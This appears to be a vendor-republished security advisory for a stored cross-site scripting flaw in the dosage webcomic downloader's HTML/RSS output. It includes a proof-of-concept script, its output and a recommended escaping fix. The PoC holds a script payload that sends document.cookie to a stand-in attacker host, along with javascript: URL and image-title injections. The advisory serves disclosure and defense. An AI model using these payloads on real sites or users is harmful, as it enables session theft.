GHSA-75mw-h36v-2jv7
MEDIUMGHSA-75mw-h36v-2jv7 is a medium-severity (CVSS 6.1) vulnerability in dosage. O3 Security confirms whether GHSA-75mw-h36v-2jv7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers
Blast Radius
dosageReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The HTML and RSS output handlers in dosagelib/events.py write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.
CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
Details
Vulnerable Code Locations
The vulnerability exists in dosagelib/events.py where untrusted content is written to HTML/RSS output without escaping:
1. RSSEventHandler (lines 116-118)
# events.py:116-118
if comic.text:
description += '<br/>%s' % comic.text # ← Unescaped comic.text
description += '<br/><a href="%s">View Comic Online</a>' % pageUrl # ← Unescaped URL
2. HtmlEventHandler (lines 232, 238)
# events.py:232
self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl)) # ← Unescaped URL
# events.py:238
if text:
self.html.write(u'<br/>%s\n' % text) # ← Unescaped text
Root Cause
BasicScraper.fetchText()inscraper.py:422callshtml.unescape()on extracted text- The output handlers never call
html.escape()before writing to files - No sanitization of URLs or text content occurs anywhere in the output pipeline
Data Flow
Malicious webcomic page
↓
textSearch XPath extracts content (e.g., img/@title, div text)
↓
BasicScraper.fetchText() calls html.unescape()
↓
comic.text stored without sanitization
↓
HtmlEventHandler/RSSEventHandler writes to file without html.escape()
↓
Generated HTML/RSS contains executable JavaScript
PoC
I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.
Prerequisites
- Docker installed and running
PoC Files
Create these files in a poc/ directory:
1. poc/Dockerfile
FROM python:3.11-slim
LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)"
WORKDIR /app
COPY . /app
# Install dependencies
RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs
# Install dosage
ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0
RUN pip install --no-cache-dir --quiet .
CMD ["python", "poc/poc.py"]
2. poc/poc.py
#!/usr/bin/env python3
"""
PoC: Stored XSS in dosage HTML/RSS Output Handlers
Demonstrates that untrusted comic content is written to output files unescaped.
"""
import sys
from pathlib import Path
from types import SimpleNamespace
from dosagelib.events import HtmlEventHandler, RSSEventHandler
# XSS payloads simulating malicious webcomic content
MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>"
MALICIOUS_URL = "javascript:alert('XSS-via-URL')"
def check_vulnerability(content: str, marker: str, description: str) -> bool:
"""Check if unescaped marker appears in content."""
if marker.lower() in content.lower():
print(f" [VULNERABLE] {description}")
print(f" Found unescaped: {marker}")
return True
print(f" [SAFE] {description}")
return False
def main():
print("=" * 70)
print("PoC: Stored XSS in dosage HTML/RSS Output Handlers")
print("=" * 70)
print()
base = Path(__file__).parent / "output"
base.mkdir(parents=True, exist_ok=True)
# Create dummy image file
img_path = base / "payload.png"
img_path.write_bytes(b"\x89PNG\r\n\x1a\n")
# Simulate comic with malicious content
comic = SimpleNamespace(
scraper=SimpleNamespace(name="MaliciousComic"),
referrer=MALICIOUS_URL,
text=MALICIOUS_TEXT,
url="http://example.com/comic.png"
)
vulnerabilities_found = 0
# Test RSS Handler
print("[*] Testing RSSEventHandler...")
rss_handler = RSSEventHandler(str(base), None, False)
rss_handler.start()
rss_handler.comicDownloaded(comic, str(img_path))
rss_handler.end()
rss_path = Path(rss_handler.rssfn)
rss_content = rss_path.read_text(encoding="utf-8")
print(f" Output file: {rss_path}")
if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"):
vulnerabilities_found += 1
# Test HTML Handler
print()
print("[*] Testing HtmlEventHandler...")
html_handler = HtmlEventHandler(str(base), None, False)
html_handler.start()
html_path = Path(html_handler.html.name)
html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)
html_handler.end()
html_content = html_path.read_text(encoding="utf-8")
print(f" Output file: {html_path}")
if check_vulnerability(html_content, "<script>", "text param in HTML"):
vulnerabilities_found += 1
if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"):
vulnerabilities_found += 1
# Show vulnerable content
print()
print("-" * 70)
print("Vulnerable Content in Generated HTML:")
print("-" * 70)
for line in html_content.splitlines():
if "<script>" in line.lower() or "javascript:" in line.lower():
print(f" {line}")
print()
print("=" * 70)
print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!")
print("=" * 70)
return 0 if vulnerabilities_found > 0 else 1
if __name__ == "__main__":
sys.exit(main())
3. poc/run_poc.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
echo "[*] Building PoC Docker image..."
docker build -t dosage-xss-poc -f "${SCRIPT_DIR}/Dockerfile" "${ROOT_DIR}" --quiet
echo "[*] Running PoC..."
docker run --rm dosage-xss-poc
echo "[*] Cleanup: docker rmi dosage-xss-poc"
Running the PoC
cd /path/to/dosage
chmod +x poc/run_poc.sh
./poc/run_poc.sh
PoC Output
======================================================================
PoC: Stored XSS in dosage HTML/RSS Output Handlers
======================================================================
[*] Testing RSSEventHandler...
Output file: /app/poc/output/dailydose.rss
[VULNERABLE] pageUrl in RSS href
Found unescaped: javascript:
[*] Testing HtmlEventHandler...
Output file: /app/poc/output/html/comics-20251210.html
[VULNERABLE] text param in HTML
Found unescaped: <script>
[VULNERABLE] pageUrl in HTML link
Found unescaped: javascript:
----------------------------------------------------------------------
Vulnerable Content in Generated HTML:
----------------------------------------------------------------------
<li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a>
<br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>
======================================================================
RESULT: 3 XSS vulnerability vectors confirmed!
======================================================================
The output shows that:
- The
javascript:URL is written directly into<a href>attributes - The
<script>tag from comic text appears unescaped in the HTML body
Impact
Who is affected?
- Users who use
dosage --output htmlordosage --output rssoptions - Anyone who opens the generated HTML/RSS files in a browser
Attack scenario
- Attacker creates or compromises a webcomic site
- Attacker injects JavaScript into image title/alt attributes:
<img src="comic.png" title="Funny!<script>alert(1)</script>"> - Victim runs:
dosage MaliciousComic --output html - The generated
Comics/html/comics-YYYYMMDD.htmlcontains the unescaped script - When victim opens the file, JavaScript executes
Potential consequences
- Cookie theft if files are served over HTTP
- Local file access via
file://protocol - Phishing attacks through DOM manipulation
Recommended Fix
Escape all user-controlled content before writing to HTML/RSS:
import html
# In RSSEventHandler.comicDownloaded() - events.py around line 116:
if comic.text:
description += '<br/>%s' % html.escape(comic.text)
description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl)
# In HtmlEventHandler.comicDownloaded() - events.py around line 232:
self.html.write(u'<li><a href="%s">%s</a>\n' % (html.escape(pageUrl), html.escape(pageUrl)))
# events.py around line 238:
if text:
self.html.write(u'<br/>%s\n' % html.escape(text))
For URLs, validating that they use safe protocols (http://, https://) would also help prevent javascript: URLs.
Resources
- CWE-79: Cross-site Scripting (XSS)
- OWASP XSS Prevention Cheat Sheet
- Python html.escape() documentation
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | dosage | all versions | 3.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dosage. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update dosage to 3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-75mw-h36v-2jv7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-75mw-h36v-2jv7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-75mw-h36v-2jv7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-75mw-h36v-2jv7 in your dependencies?
O3 detects GHSA-75mw-h36v-2jv7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.